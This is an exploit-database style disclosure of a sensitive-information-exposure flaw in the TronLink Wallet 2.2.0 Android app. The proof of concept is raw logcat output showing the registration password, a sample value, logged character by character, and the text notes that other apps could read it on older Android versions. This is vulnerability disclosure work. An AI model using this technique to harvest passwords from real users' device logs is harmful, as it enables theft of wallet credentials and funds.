# Exploit Title: TronLink Wallet-TRON blockchain wallet 2.2.0 - Sensitive Information Exposure Through Log # Date: 2019-04-25 # Software Link: https://play.google.com/store/apps/details?id=com.tronlink.wallet&hl=en_US # Version: 2.2.0 Android App # Vendor: TRON Community Developer # Exploit Author: Loc Phan Van # CVE: N/A # Category: Mobile Apps # Tested on: Android 8.1 # Description The user password via the registration form of TronLink Wallet 2.2.0 is stored in log when class CreateWalletTwoActivity is called, other authenticated users can read in the log later. The logged data can be read using Logcat on the device. When using platforms prior to Android 4.1 (Jelly Bean), the log data is not sandboxed per application; any application installed on the device has the capability to read data logged by other applications. # PoC 04-25 09:09:20.301 10832 10832 D ViewRootImpl@34d8a26[CreateWalletTwoActivity]: MSG_RESIZED: frame=Rect(0, 0 - 720, 1480) ci=Rect(0, 42 - 0, 84) vi=Rect(0, 42 - 0, 626) or=1 04-25 09:09:20.333 461 461 I SurfaceFlinger: Device | 0xa9107c00 | 0002 | RGBA_8888 | 0.0 0.0 720.0 1480.0 | 0 0 720 1480 | com.tronlink.wallet/com.tron.wallet.[...]let.CreateWalletTwoActivity[10832]#0 04-25 09:09:20.901 10832 10832 D ViewRootImpl@34d8a26[CreateWalletTwoActivity]: ViewPostIme key 0 04-25 09:09:20.902 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:20.990 10832 10832 D ViewRootImpl@34d8a26[CreateWalletTwoActivity]: ViewPostIme key 1 04-25 09:09:21.310 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:1] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:21.311 10832 10832 E lll : onTextChanged: P 04-25 09:09:21.653 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:21.654 10832 10832 E lll : onTextChanged: P4 04-25 09:09:22.330 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:22.331 10832 10832 E lll : onTextChanged: P4s 04-25 09:09:22.480 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:22.481 10832 10832 E lll : onTextChanged: P4ss 04-25 09:09:22.705 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:22.707 10832 10832 E lll : onTextChanged: P4ssw 04-25 09:09:22.840 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:22.841 10832 10832 E lll : onTextChanged: P4ssw0 04-25 09:09:23.022 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:23.023 10832 10832 E lll : onTextChanged: P4ssw0r 04-25 09:09:23.240 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:23.241 10832 10832 E lll : onTextChanged: P4ssw0rd 04-25 09:09:25.362 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:25.364 10832 10832 E lll : onTextChanged: P4ssw0rd1 04-25 09:09:25.671 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:25.673 10832 10832 E lll : onTextChanged: P4ssw0rd12 04-25 09:09:25.907 4943 4943 I SKBD : [IIManager] IIfo SI [il:0x656e4742] [p:0] [c:0] [t:0] [im:0/0/0/0/0/0] [sC:0] [aC:1] [sS:0] [aS:1] [aP:0] [pW:1] [eM:0] [uR:0] [acI:0] [iT:81] [iO:6] [pID:10832] [pO:null] 04-25 09:09:25.909 10832 10832 E lll : onTextChanged: P4ssw0rd123